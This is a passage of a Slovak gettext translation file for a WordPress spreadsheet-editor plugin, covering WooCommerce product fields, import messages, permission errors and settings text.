woocommerce/woocommerce.php:187 msgid "Remove duplicates by sku (delete the oldest)" msgstr "Odstrániť duplikáty podľa kódu produktu (vymazať najstaršie)" #: woocommerce/woocommerce.php:211 #, fuzzy msgid "Copy regular price and decrease number" msgstr "Skopírujte bežnú cenu a znížte číslo" #: woocommerce/woocommerce.php:228 #, fuzzy msgid "Copy regular price and decrease by percentage" msgstr "Skopírujte bežnú cenu a znížte o percento" #: woocommerce/woocommerce.php:275 #, fuzzy msgid "WooCommerce products" msgstr "Produkty WooCommerce" #: woocommerce/woocommerce.php:280 #, fuzzy msgid "Disable product inventory stats?" msgstr "Zakázať štatistiky inventára produktov?" #: woocommerce/woocommerce.php:281 #, fuzzy msgid "" "The WooCommerce products spreadsheet automatically generates inventory units " "and inventory price stats and shows the stats above the spreadsheet. This " "can slow down the sheet if you have several thousand products. Disable it if " "the spreadsheet is too slow or you see errors when loading rows." msgstr "" "Tabuľka produktov WooCommerce automaticky generuje jednotky zásob a " "štatistiky cien zásob a zobrazuje štatistiky nad tabuľkou. To môže spomaliť " "list, ak máte niekoľko tisíc produktov. Ak je tabuľka príliš pomalá alebo ak " "sa pri načítavaní riadkov zobrazujú chyby, zakážte ju." #: woocommerce/woocommerce.php:287 #, fuzzy msgid "Use separate columns for images during export and import?" msgstr "Chcete použiť samostatné stĺpce pre obrázky počas exportu a importu?" #: woocommerce/woocommerce.php:288 #, fuzzy msgid "" "By default, we export and import one column named \"Images\" with the " "featured image and gallery images combined. Activate this option to export " "and import one column with featured image and one column with gallery images" msgstr "" "V predvolenom nastavení exportujeme a importujeme jeden stĺpec s názvom " "„Obrázky“ spolu s odporúčaným obrázkom a obrázkami z galérie. Aktivujte túto " "možnosť, ak chcete exportovať a importovať jeden stĺpec s odporúčaným " "obrázkom a jeden stĺpec s obrázkami galérie" #: woocommerce/woocommerce.php:294 #, fuzzy msgid "Product attributes not visible" msgstr "Atribúty produktu nie sú viditeľné" #: woocommerce/woocommerce.php:295 #, fuzzy msgid "" "The plugin will mark as visible all the attributes that DONT contain these " "keywords, enter multiple separated by comma. I.e. \"car, airplane\" would " "match \"Car model, Car marker, Expensive Airplane, airplanes\". This applies " "after editing a product in the spreadsheet cells." msgstr "" "Plugin označí ako viditeľné všetky atribúty, ktoré NEOBSAHUJÚ tieto kľúčové " "slová, zadajte násobok oddelený čiarkou. T.j. „auto, lietadlo“ by sa " "zhodovalo s výrazom „model auta, značka auta, drahé lietadlo, lietadlá“. " "Platí to po úprave produktu v bunkách tabuľky." #: woocommerce/woocommerce.php:300 #, fuzzy msgid "Product attributes not used for variations" msgstr "Atribúty produktu sa nepoužívajú pre variácie" #: woocommerce/woocommerce.php:301 #, fuzzy msgid "" "The plugin will mark as used for variations all the attributes that DONT " "contain these keywords, enter multiple separated by comma. I.e. \"car, " "airplane\" would match \"Car model, Car marker, Expensive Airplane, " "airplanes\". This applies after editing a product in the spreadsheet cells." msgstr "" "Plugin označí ako použité pre variácie všetky atribúty, ktoré NEOBSAHUJÚ " "tieto kľúčové slová, zadajte násobok oddelený čiarkou. T.j. „auto, lietadlo“ " "by sa zhodovalo s výrazom „model auta, značka auta, drahé lietadlo, " "lietadlá“. Platí to po úprave produktu v bunkách tabuľky." #: woocommerce/woocommerce.php:306 #, fuzzy msgid "Maximum number of variations per combination of attributes" msgstr "Maximálny počet variácií na kombináciu atribútov" #: woocommerce/woocommerce.php:307 #, fuzzy msgid "" "The \"Create variations\" tool allows you to create variation based on the " "combination of attributes. The default limit is 200 variations to not " "overload your server. You can increase the limit here if you need more " "variations." msgstr "" "Nástroj „Vytvoriť variácie“ vám umožňuje vytvárať variácie na základe " "kombinácie atribútov. Predvolený limit je 200 variácií, aby ste nepreťažili " "váš server. Tu môžete zvýšiť limit, ak potrebujete viac variácií." #. translators: %d: Attribute number #: woocommerce/woocommerce.php:360 #, fuzzy msgid "Attribute %d name" msgstr "Názov atribútu %d" #. translators: %d: Attribute number #: woocommerce/woocommerce.php:360 woocommerce/woocommerce.php:379 #, fuzzy msgid "Attribute name" msgstr "Názov atribútu" #. translators: %d: Attribute number #: woocommerce/woocommerce.php:362 #, fuzzy msgid "Attribute %d value(s)" msgstr "Hodnoty atribútu %d" #. translators: %d: Attribute number #: woocommerce/woocommerce.php:362 woocommerce/woocommerce.php:381 #, fuzzy msgid "Attribute value(s)" msgstr "Hodnoty atribútov" #. translators: %d: Attribute number #: woocommerce/woocommerce.php:364 #, fuzzy msgid "Attribute %d visible" msgstr "Atribút %d je viditeľný" #. translators: %d: Attribute number #: woocommerce/woocommerce.php:364 woocommerce/woocommerce.php:383 #, fuzzy msgid "Attribute visibility" msgstr "Viditeľnosť atribútu" #. translators: %d: Attribute number #: woocommerce/woocommerce.php:366 #, fuzzy msgid "Attribute %d global" msgstr "Atribút %d globálny" #. translators: %d: Attribute number #: woocommerce/woocommerce.php:366 woocommerce/woocommerce.php:385 #, fuzzy msgid "Is a global attribute?" msgstr "Je to globálny atribút?" #. translators: %d: Attribute number #: woocommerce/woocommerce.php:368 #, fuzzy msgid "Attribute %d default" msgstr "Predvolený atribút %d" #. translators: %d: Attribute number #: woocommerce/woocommerce.php:368 woocommerce/woocommerce.php:387 #, fuzzy msgid "Default attribute" msgstr "Predvolený atribút" #. translators: %d: Download number #: woocommerce/woocommerce.php:370 #, fuzzy msgid "Download %d name" msgstr "Stiahnuť %d meno" #. translators: %d: Download number #: woocommerce/woocommerce.php:370 woocommerce/woocommerce.php:389 #, fuzzy msgid "Download name" msgstr "Stiahnuť názov" #. translators: %d: Download number #: woocommerce/woocommerce.php:372 #, fuzzy msgid "Download %d URL" msgstr "Stiahnuť %d URL" #. translators: %d: Download number #: woocommerce/woocommerce.php:372 woocommerce/woocommerce.php:391 #, fuzzy msgid "Download URL" msgstr "Stiahnite si URL" #. translators: %d: Meta number #: woocommerce/woocommerce.php:374 msgid "Meta: %s" msgstr "Meta: %s" #. translators: %d: Meta number #: woocommerce/woocommerce.php:374 woocommerce/woocommerce.php:393 #, fuzzy msgid "Import as meta data" msgstr "Importovať ako metaúdaje" #: woocommerce/woocommerce.php:375 wp-sheet-editor/dev/inc/ajax.php:324 #, fuzzy msgid "Tags" msgstr "Tagy" #: woocommerce/woocommerce.php:375 woocommerce/woocommerce.php:394 #, fuzzy msgid "Tags (comma separated)" msgstr "Značky (oddelené čiarkou)" #: woocommerce/woocommerce.php:492 #, fuzzy msgid "" "We need to reload the spreadsheet rows to load the variations. Please save " "your changes first or you will lose those changes. Do you want to reload now?" msgstr "" "Aby sme načítali variácie, musíme znova načítať riadky tabuľky. Najprv " "uložte zmeny, inak tieto zmeny stratíte. Chcete teraz znova načítať?" #: woocommerce/woocommerce.php:493 #, fuzzy msgid "" "We need to reload the Spreadsheet to remove the variations. Please save your " "changes first or you will lose those changes. Do you want to reload now?" msgstr "" "Aby sme odstránili variácie, musíme znova načítať tabuľku. Najprv uložte " "zmeny, inak tieto zmeny stratíte. Chcete teraz znova načítať?" #: woocommerce/woocommerce.php:539 #: wp-sheet-editor/dev/inc/teasers/post-types.php:109 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:395 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:396 #, fuzzy msgid "Short description" msgstr "Stručný opis" #: woocommerce/woocommerce.php:543 #: wp-sheet-editor/dev/inc/teasers/post-types.php:121 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:400 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:401 #, fuzzy msgid "Enable reviews" msgstr "Povoliť recenzie" #: woocommerce/woocommerce.php:564 wp-sheet-editor/dev/inc/api/helpers.php:453 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:911 msgid "..." msgstr "..." #: woocommerce/woocommerce.php:591 #, fuzzy msgid "Vendor" msgstr "Predajca" #: woocommerce/woocommerce.php:604 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:432 msgid "Type" msgstr "Typ" #: woocommerce/woocommerce.php:613 #, fuzzy msgid "Product gallery" msgstr "Galéria produktov" #: woocommerce/woocommerce.php:620 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:443 msgid "SKU" msgstr "SKU" #: woocommerce/woocommerce.php:629 #: wp-sheet-editor/dev/inc/teasers/post-types.php:112 #, fuzzy msgid "Regular price" msgstr "Normálna cena" #: woocommerce/woocommerce.php:640 #: wp-sheet-editor/dev/inc/teasers/post-types.php:111 #, fuzzy msgid "Sale price" msgstr "Zľavnená cena" #: woocommerce/woocommerce.php:650 #, fuzzy msgid "Sale start date" msgstr "Dátum začiatku predaja" #: woocommerce/woocommerce.php:661 #, fuzzy msgid "Sale end date" msgstr "Dátum ukončenia predaja" #: woocommerce/woocommerce.php:671 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:528 #, fuzzy msgid "Manage stock" msgstr "Spravovať zásoby" #: woocommerce/woocommerce.php:685 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:546 #, fuzzy msgid "Stock status" msgstr "Stav zásob" #: woocommerce/woocommerce.php:701 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:564 #, fuzzy msgid "Stock" msgstr "skladom" #: woocommerce/woocommerce.php:710 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:481 #, fuzzy msgid "Weight" msgstr "Hmotnosť" #: woocommerce/woocommerce.php:717 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:493 #, fuzzy msgid "Width" msgstr "šírka" #: woocommerce/woocommerce.php:724 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:505 #, fuzzy msgid "Height" msgstr "Výška" #: woocommerce/woocommerce.php:731 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:517 #, fuzzy msgid "Length" msgstr "Dĺžka" #: woocommerce/woocommerce.php:737 #, fuzzy msgid "Cross-sells" msgstr "Cross-sells" #: woocommerce/woocommerce.php:744 woocommerce/woocommerce.php:757 #, fuzzy msgid "Enter multiple SKUs or IDs separated by commas" msgstr "Zadajte viacero SKU alebo ID oddelených čiarkami" #: woocommerce/woocommerce.php:750 #, fuzzy msgid "Upsells" msgstr "Upsells" #: woocommerce/woocommerce.php:765 #: wp-sheet-editor/dev/inc/teasers/post-types.php:116 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:577 #, fuzzy msgid "Visibility" msgstr "Viditeľnosť" #: woocommerce/woocommerce.php:775 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:619 #, fuzzy msgid "Virtual" msgstr "Virtuálne" #: woocommerce/woocommerce.php:789 #: wp-sheet-editor/dev/inc/teasers/post-types.php:119 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:659 #, fuzzy msgid "Sold individually" msgstr "Predáva sa jednotlivo" #: woocommerce/woocommerce.php:801 #, fuzzy msgid "Is featured?" msgstr "Je predstavený?" #: woocommerce/woocommerce.php:814 #, fuzzy msgid "Backorders allowed?" msgstr "Povolené spätné objednávky?" #: woocommerce/woocommerce.php:819 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:697 #, fuzzy msgid "Do not allow" msgstr "Neumožňujú" #: woocommerce/woocommerce.php:820 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:698 #, fuzzy msgid "Allow, but notify customer" msgstr "Povoliť, ale upozorniť zákazníka" #: woocommerce/woocommerce.php:821 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:699 #, fuzzy msgid "Allow" msgstr "Povoliť" #: woocommerce/woocommerce.php:830 #: wp-sheet-editor/dev/inc/teasers/post-types.php:120 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:711 #, fuzzy msgid "Purchase note" msgstr "Poznámka k nákupu" #: woocommerce/woocommerce.php:838 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:724 #, fuzzy msgid "Shipping class" msgstr "Trieda prepravy" #: woocommerce/woocommerce.php:846 #, fuzzy msgid "Average rating" msgstr "Priemerné hodnotenie" #: woocommerce/woocommerce.php:852 #, fuzzy msgid "Review count" msgstr "Počet recenzií" #: woocommerce/woocommerce.php:858 #, fuzzy msgid "Total sales" msgstr "Celkové predaje" #: wp-sheet-editor/dev/inc/ajax.php:21 wp-sheet-editor/dev/inc/ajax.php:40 #: wp-sheet-editor/dev/inc/api/helpers.php:504 #, fuzzy msgid "You dont have enough permissions to do this action." msgstr "Na vykonanie tejto akcie nemáte dostatočné povolenia." #: wp-sheet-editor/dev/inc/ajax.php:33 #, fuzzy msgid "Rows deleted successfully" msgstr "Riadky boli úspešne odstránené" #: wp-sheet-editor/dev/inc/ajax.php:53 wp-sheet-editor/dev/inc/ajax.php:212 #, fuzzy msgid "You dont have enough permissions to load rows." msgstr "Nemáte dostatočné povolenia na načítanie riadkov." #: wp-sheet-editor/dev/inc/ajax.php:88 wp-sheet-editor/dev/inc/ajax.php:172 #: wp-sheet-editor/dev/inc/ajax.php:186 #, fuzzy msgid "You dont have enough permissions to save changes." msgstr "Nemáte dostatočné povolenia na uloženie zmien." #: wp-sheet-editor/dev/inc/ajax.php:101 #, fuzzy msgid "Changes saved successfully" msgstr "Zmeny boli úspešne uložené" #: wp-sheet-editor/dev/inc/ajax.php:111 #, fuzzy msgid "You dont have enough permissions to create new rows." msgstr "Nemáte dostatočné povolenia na vytváranie nových riadkov." #: wp-sheet-editor/dev/inc/ajax.php:152 #, fuzzy msgid "No items found." msgstr "Nenašli sa žiadne položky." #: wp-sheet-editor/dev/inc/ajax.php:195 #: wp-sheet-editor/dev/inc/api/helpers.php:696 #, fuzzy msgid "Error: %s" msgstr "Chyba: %s" #: wp-sheet-editor/dev/inc/ajax.php:201 #, fuzzy msgid "Saved: %s" msgstr "Uložené: %s" #: wp-sheet-editor/dev/inc/ajax.php:252 wp-sheet-editor/dev/inc/ajax.php:272 #, fuzzy msgid "You dont have enough permissions to search taxonomy terms." msgstr "Nemáte dostatočné povolenia na vyhľadávanie výrazov taxonómie." #: wp-sheet-editor/dev/inc/ajax.php:301 #, fuzzy msgid "No taxonomies found." msgstr "Nenašli sa žiadne taxonómie." #: wp-sheet-editor/dev/inc/api/bootstrap.php:48 #, fuzzy msgid "Error 8391. You dont have enough permissions to view this page." msgstr "Chyba 8391. Na zobrazenie tejto stránky nemáte dostatočné povolenia." #: wp-sheet-editor/dev/inc/api/bootstrap.php:104 #, fuzzy msgid "Open in a Spreadsheet" msgstr "Otvoriť v tabuľke" #: wp-sheet-editor/dev/inc/api/bootstrap.php:129 #: wp-sheet-editor/dev/inc/api/columns.php:240 #: wp-sheet-editor/dev/inc/teasers/post-types.php:61 msgid "Edit %s" msgstr "Upraviť %s" #: wp-sheet-editor/dev/inc/api/bootstrap.php:195 #: wp-sheet-editor/dev/views/support-modal.php:5 #: wp-sheet-editor/dev/views/usage-stats-widget.php:121 #, fuzzy msgid "Help" msgstr "Pomoc" #: wp-sheet-editor/dev/inc/api/bootstrap.php:204 #: wp-sheet-editor/dev/views/whats-new.php:46 #: wp-sheet-editor/dev/wp-sheet-editor.php:925 #, fuzzy msgid "Extensions" msgstr "Rozšírenia" #: wp-sheet-editor/dev/inc/api/bootstrap.php:225 #, fuzzy msgid "Add new posts" msgstr "Pridajte nové príspevky" #: wp-sheet-editor/dev/inc/api/bootstrap.php:231 #, fuzzy msgid "Load" msgstr "Naložiť" #: wp-sheet-editor/dev/inc/api/bootstrap.php:238 #, fuzzy msgid "Exit Full Screen" msgstr "Ukončiť celú obrazovku" #: wp-sheet-editor/dev/inc/api/bootstrap.php:245 msgid "Show cells as simple text" msgstr "Zobraziť bunky ako jednoduchý text" #: wp-sheet-editor/dev/inc/api/bootstrap.php:248 #, fuzzy msgid "" "By default dates show in a calendar, post content has a text editor option, " "images show preview, etc. you can enable this option to display everything " "as plain text and disable the fancy formatting." msgstr "" "V predvolenom nastavení sa dátumy zobrazujú v kalendári, obsah príspevku má " "možnosť textového editora, obrázky zobrazujú ukážku atď. Túto možnosť môžete " "povoliť, aby sa všetko zobrazovalo ako obyčajný text a zakázať efektné " "formátovanie." #: wp-sheet-editor/dev/inc/api/bootstrap.php:255 msgid "Load more on scroll" msgstr "Načítať viac pri posúvaní" #: wp-sheet-editor/dev/inc/api/bootstrap.php:258 #, fuzzy msgid "" "When this is enabled more items will be loaded to the bottom of the " "spreadsheet when you reach the end of the page" msgstr "" "Keď je táto možnosť povolená, na koniec stránky sa do spodnej časti tabuľky " "načíta viac položiek" #: wp-sheet-editor/dev/inc/api/bootstrap.php:266 msgid "Scan DB to find fields" msgstr "Načítať databázu a nájsť polia" #: wp-sheet-editor/dev/inc/api/bootstrap.php:270 #, fuzzy msgid "" "We can scan the database, find new fields, and create columns automatically " "for the supported fields." msgstr "" "Môžeme skenovať databázu, nájsť nové polia a automaticky vytvárať stĺpce pre " "podporované polia." #: wp-sheet-editor/dev/inc/api/bootstrap.php:281 #: wp-sheet-editor/dev/inc/api/bootstrap.php:282 #, fuzzy msgid "All changes saved." msgstr "Všetky zmeny boli uložené." #: wp-sheet-editor/dev/inc/api/bootstrap.php:281 #, fuzzy msgid "Saving changes, don't close this page." msgstr "Ukladajú sa zmeny, túto stránku nezatvárajte." #: wp-sheet-editor/dev/inc/api/bootstrap.php:281 #, fuzzy msgid "Some changes are not saved yet." msgstr "Niektoré zmeny ešte nie sú uložené." #: wp-sheet-editor/dev/inc/api/bootstrap.php:384 #, fuzzy msgid "URL Slug" msgstr "URL Slug" #: wp-sheet-editor/dev/inc/api/bootstrap.php:401 #: wp-sheet-editor/dev/inc/api/bootstrap.php:424 #, fuzzy msgid "Content" msgstr "Obsah" #: wp-sheet-editor/dev/inc/api/bootstrap.php:412 #, fuzzy msgid "" "Use this editor to edit the content only, other fields like tags and " "categories should be edited on the spreadsheet." msgstr "" "Tento editor použite iba na úpravu obsahu, ostatné polia, ako sú značky a " "kategórie, by sa mali upraviť v tabuľke." #: wp-sheet-editor/dev/inc/api/bootstrap.php:443 #, fuzzy msgid "WP Editor" msgstr "WP editor" #: wp-sheet-editor/dev/inc/api/bootstrap.php:457 #, fuzzy msgid "View" msgstr "vyhliadka" #: wp-sheet-editor/dev/inc/api/bootstrap.php:481 #, fuzzy msgid "Modified Date" msgstr "Dátum zmeny" #: wp-sheet-editor/dev/inc/api/bootstrap.php:509 #, fuzzy msgid "Excerpt" msgstr "Úryvok" #: wp-sheet-editor/dev/inc/api/bootstrap.php:521 #, fuzzy msgid "Delete completely" msgstr "Úplne vymazať" #: wp-sheet-editor/dev/inc/api/bootstrap.php:540 #, fuzzy msgid "Comments" msgstr "Komentáre" #: wp-sheet-editor/dev/inc/api/bootstrap.php:561 #, fuzzy msgid "Page Parent" msgstr "Rodič stránky" #: wp-sheet-editor/dev/inc/api/bootstrap.php:572 #, fuzzy msgid "Order" msgstr "objednať" #: wp-sheet-editor/dev/inc/api/bootstrap.php:618 #, fuzzy msgid ". Add child categories using this format: Parent > child1 > child2" msgstr "" ". Pridajte podradené kategórie pomocou tohto formátu: Rodič > dieťa1 > dieťa2" #: wp-sheet-editor/dev/inc/api/bootstrap.php:625 #, fuzzy msgid "Enter multiple terms separated by commas" msgstr "Zadajte viacero výrazov oddelených čiarkami" #: wp-sheet-editor/dev/inc/api/bootstrap.php:646 #, fuzzy msgid "Post type" msgstr "Typ príspevku" #: wp-sheet-editor/dev/inc/api/bootstrap.php:664 #, fuzzy msgid "Password" msgstr "heslo" #: wp-sheet-editor/dev/inc/api/editor.php:47 #, fuzzy msgid "Please select at least one column to import" msgstr "Vyberte aspoň jeden stĺpec na import" #: wp-sheet-editor/dev/inc/api/editor.php:48 #, fuzzy msgid "Show column key" msgstr "Zobraziť kľúč stĺpca" #: wp-sheet-editor/dev/inc/api/editor.php:49 #, fuzzy msgid "Click here to show all columns again" msgstr "Kliknutím sem znova zobrazíte všetky stĺpce" #: wp-sheet-editor/dev/inc/api/editor.php:50 #, fuzzy msgid "" "The last import batch failed due to a server error, it's more likely that " "the server got overloaded.
                  1- You can try importing fewer rows per batch (i.e. import 2 rows " "every few seconds).
                  2- You can start a new import, sometimes trying again " "works (use the \"advanced settings\" in the step 1 of the import to start " "from a specific row).
                  3- You can increase the php memory following this tutorial
                  4- If the problem happens " "after trying with 1 row per batch, you can " "contact us and we will make it work for you" msgstr "" "Posledná dávka importu zlyhala v dôsledku chyby servera, je " "pravdepodobnejšie, že server bol preťažený.
                  1- Môžete skúsiť importovať menej riadkov na dávku (tj " "importovať 2 riadky každých pár sekúnd).
                  2- Môžete spustiť nový import, " "niekedy funguje opätovný pokus (použite "rozšírené nastavenia" v " "kroku 1 importu na začatie od konkrétneho riadku).
                  3- Po tomto návode môžete zvýšiť pamäť php
                  4- Ak sa " "problém vyskytne po vyskúšaní 1 riadku na dávku, môžete nás kontaktovať a my vám to urobíme" #: wp-sheet-editor/dev/inc/api/editor.php:51 #, fuzzy msgid "" "Your server was not able to process this batch. Do you want to try again? " "You can retry 3 times, If 3 attempts fail we will stop the import completely." msgstr "" "Váš server nemohol spracovať túto dávku. Chcete to skúsiť znova? Môžete to " "skúsiť 3-krát. Ak zlyhajú 3 pokusy, import úplne zastavíme." #: wp-sheet-editor/dev/inc/api/editor.php:52 #, fuzzy msgid "" "Please correct the error in the file and start a new import. You can use the " "\"Advanced options\" in the step 1 of the import to start from this specific " "row." msgstr "" "Opravte chybu v súbore a spustite nový import. Ak chcete začať od tohto " "konkrétneho riadka, môžete použiť „Rozšírené možnosti“ v kroku 1 importu." #: wp-sheet-editor/dev/inc/api/editor.php:53 #, fuzzy msgid "

                  The import has finished

                  " msgstr "

                  Import sa skončil

                  " #: wp-sheet-editor/dev/inc/api/editor.php:54 #, fuzzy msgid "

                  The process has finished

                  " msgstr "

                  Proces sa dokončil

                  " #: wp-sheet-editor/dev/inc/api/editor.php:55 #, fuzzy msgid "The selected product does not have variations" msgstr "Vybraný produkt nemá variácie" #: wp-sheet-editor/dev/inc/api/editor.php:56 #, fuzzy msgid "empty" msgstr "prázdny" #: wp-sheet-editor/dev/inc/api/editor.php:57 #, fuzzy msgid "This will save you {clicks_count} clicks :)" msgstr "Ušetríte tak {clicks_count} kliknutí :)" #: wp-sheet-editor/dev/inc/api/editor.php:58 #, fuzzy msgid "" "We found similar columns. Do you want to apply the same action to them? " "{columns}" msgstr "" "Našli sme podobné stĺpce. Chcete na nich použiť rovnakú akciu? {columns}" #: wp-sheet-editor/dev/inc/api/editor.php:59 #, fuzzy msgid "" "This column is only for variation rows, parent products don't use this field" msgstr "" "Tento stĺpec je len pre riadky variácií, nadradené produkty toto pole " "nepoužívajú" #: wp-sheet-editor/dev/inc/api/editor.php:60 #, fuzzy msgid "Editing the field: {field_label}" msgstr "Úprava poľa: {field_label}" #: wp-sheet-editor/dev/inc/api/editor.php:61 #, fuzzy msgid "Column not found. Try with another search criteria." msgstr "Stĺpec sa nenašiel. Skúste použiť iné kritériá vyhľadávania." #: wp-sheet-editor/dev/inc/api/editor.php:62 #, fuzzy msgid "" "This column is for parent products only, variations don't use this field" msgstr "" "Tento stĺpec je len pre nadradené produkty, variácie toto pole nepoužívajú" #: wp-sheet-editor/dev/inc/api/editor.php:63 #, fuzzy msgid "Paste using keyboard: Ctrl+V" msgstr "Prilepenie pomocou klávesnice: Ctrl+V" #: wp-sheet-editor/dev/inc/api/editor.php:64 #, fuzzy msgid "Realign cells" msgstr "Znovu zarovnajte bunky" #: wp-sheet-editor/dev/inc/api/editor.php:65 #, fuzzy msgid "Remove all filters" msgstr "Odstráňte všetky filtre" #: wp-sheet-editor/dev/inc/api/editor.php:66 #, fuzzy msgid "Resize columns based on the values" msgstr "Zmeňte veľkosť stĺpcov na základe hodnôt" #: wp-sheet-editor/dev/inc/api/editor.php:67 msgid "Delete row" msgstr "Odstrániť riadok" #: wp-sheet-editor/dev/inc/api/editor.php:68 #, fuzzy msgid "" "We will delete the selected row(s) from the database completely. If you want " "to restore them later, you should make a backup before. Do you want to " "delete them?" msgstr "" "Vybraný riadok (riadky) z databázy úplne vymažeme. Ak ich chcete neskôr " "obnoviť, mali by ste si ich predtým zálohovať. Chcete ich odstrániť?" #: wp-sheet-editor/dev/inc/api/editor.php:69 msgid "Duplicate row" msgstr "Duplikovať riadok" #: wp-sheet-editor/dev/inc/api/editor.php:70 #, fuzzy msgid "Hide column" msgstr "Skryť stĺpec" #: wp-sheet-editor/dev/inc/api/editor.php:71 #, fuzzy msgid "Bulk edit column" msgstr "Hromadná úprava stĺpca" #: wp-sheet-editor/dev/inc/api/editor.php:73 #, fuzzy msgid "Copy variations from this product" msgstr "Skopírujte variácie z tohto produktu" #: wp-sheet-editor/dev/inc/api/editor.php:75 msgid "Delete field" msgstr "Odstrániť pole" #: wp-sheet-editor/dev/inc/api/editor.php:76 #, fuzzy msgid "" "We will delete this meta field from the database and you will lose the " "values saved in this field on all the rows. You should make a backup to be " "able to restore in the future. Do you want to continue with the deletion?" msgstr "" "Toto meta pole vymažeme z databázy a stratíte hodnoty uložené v tomto poli " "vo všetkých riadkoch. Mali by ste si vytvoriť zálohu, aby ste ju mohli v " "budúcnosti obnoviť. Chcete pokračovať v odstraňovaní?" #: wp-sheet-editor/dev/inc/api/editor.php:77 #, fuzzy msgid "Edit meta key" msgstr "Upraviť meta kľúč" #: wp-sheet-editor/dev/inc/api/editor.php:78 #, fuzzy msgid "Error: The new value is empty or is equal to the old value" msgstr "Chyba: Nová hodnota je prázdna alebo sa rovná starej hodnote" #: wp-sheet-editor/dev/inc/api/editor.php:79 #, fuzzy msgid "Showing rows from your last session." msgstr "Zobrazujú sa riadky z vašej poslednej relácie." #: wp-sheet-editor/dev/inc/api/editor.php:80 #, fuzzy msgid "Export column" msgstr "Export stĺpec" #: wp-sheet-editor/dev/inc/api/editor.php:81 #, fuzzy msgid "" "

                  The bulk edit was not applied completely. The process was canceled due to " "an error.

                  You can close this window.

                  " msgstr "" "

                  Hromadná úprava nebola použitá úplne. Proces bol zrušený z dôvodu chyby." "

                  Toto okno môžete zavrieť.

                  " #: wp-sheet-editor/dev/inc/api/editor.php:82 #, fuzzy msgid "" "

                  The process did not finish. The process was canceled due to an error.

                  " "

                  You can close this window.

                  " msgstr "" "

                  Proces sa nedokončil. Proces bol zrušený z dôvodu chyby.

                  Toto okno " "môžete zavrieť.

                  " #: wp-sheet-editor/dev/inc/api/editor.php:83 #, fuzzy msgid "" "Your server was not able to process this batch. Do you want to try again?" msgstr "Váš server nemohol spracovať túto dávku. Chcete to skúsiť znova?" #: wp-sheet-editor/dev/inc/api/editor.php:84 #, fuzzy msgid "The bulk edit was executed successfully. You can close this window" msgstr "Hromadná úprava bola úspešne vykonaná. Toto okno môžete zavrieť" #: wp-sheet-editor/dev/inc/api/editor.php:86 #, fuzzy msgid "" "ENABLE COLUMNS. These columns require a page reload: {columns}. Do you want " "to reload now? We will reload automatically" msgstr "" "POVOLIŤ STĹPCE. Tieto stĺpce vyžadujú opätovné načítanie stránky: {columns}. " "Chcete teraz znova načítať? Automaticky znova načítame" #: wp-sheet-editor/dev/inc/api/editor.php:87 #, fuzzy msgid "" "Column removed. Go to \"settings > hide/display columns\" to enable it again" msgstr "" "Stĺpec bol odstránený. Prejdite na „nastavenia > skryť/zobraziť stĺpce“ a " "znova ju povoliť" #: wp-sheet-editor/dev/inc/api/editor.php:88 #, fuzzy msgid "" "You have modified posts. Please save the changes because we will refresh the " "spreadsheet." msgstr "Upravili ste príspevky. Uložte zmeny, pretože tabuľku obnovíme." #: wp-sheet-editor/dev/inc/api/editor.php:89 #, fuzzy msgid "" "You have modified rows. Please save the changes before removing columns from " "the spreadsheet." msgstr "Upravili ste riadky. Pred odstránením stĺpcov z tabuľky uložte zmeny." #: wp-sheet-editor/dev/inc/api/editor.php:90 #, fuzzy msgid "" "You have modified posts. Please save the changes because we will refresh the " "spreadsheet. Do you want to refresh now?" msgstr "" "Upravili ste príspevky. Uložte zmeny, pretože tabuľku obnovíme. Chcete sa " "teraz osviežiť?" #: wp-sheet-editor/dev/inc/api/editor.php:91 #, fuzzy msgid "" "Some rows were modified in the background. Please save the changes and " "reload the spreadsheet to see the changes" msgstr "" "Niektoré riadky boli upravené na pozadí. Uložte zmeny a znova načítajte " "tabuľku, aby ste videli zmeny" #: wp-sheet-editor/dev/inc/api/editor.php:92 #, fuzzy msgid "" "Some rows were modified in the spreadsheet. Please save the changes before " "using this feature." msgstr "" "Niektoré riadky boli v tabuľke upravené. Pred použitím tejto funkcie uložte " "zmeny." #: wp-sheet-editor/dev/inc/api/editor.php:93 #, fuzzy msgid "" "We didn't find rows to update from the search query. Please try another " "search query." msgstr "" "Vo vyhľadávacom dopyte sme nenašli riadky na aktualizáciu. Skúste iný " "vyhľadávací dopyt." #: wp-sheet-editor/dev/inc/api/editor.php:94 #, fuzzy msgid "You can find all the settings here, like columns visibility, etc." msgstr "Tu nájdete všetky nastavenia, napríklad viditeľnosť stĺpcov atď." #: wp-sheet-editor/dev/inc/api/editor.php:95 #, fuzzy msgid "Oops, nothing found" msgstr "Ojoj, nič sa nenašlo" #: wp-sheet-editor/dev/inc/api/editor.php:96 #, fuzzy msgid "You can create new items here" msgstr "Tu môžete vytvárať nové položky" #: wp-sheet-editor/dev/inc/api/editor.php:97 #, fuzzy msgid "Upload image" msgstr "Nahrať obrázok" #: wp-sheet-editor/dev/inc/api/editor.php:98 #, fuzzy msgid "View Gallery" msgstr "Zobraziť galériu" #: wp-sheet-editor/dev/inc/api/editor.php:99 #, fuzzy msgid "No options available" msgstr "Nie sú dostupné žiadne možnosti" #: wp-sheet-editor/dev/inc/api/editor.php:100 #: wp-sheet-editor/dev/inc/api/helpers.php:1032 #, fuzzy msgid "Items loaded in the spreadsheet" msgstr "Položky načítané v tabuľke" #: wp-sheet-editor/dev/inc/api/editor.php:101 #, fuzzy msgid "New rows added" msgstr "Pridané 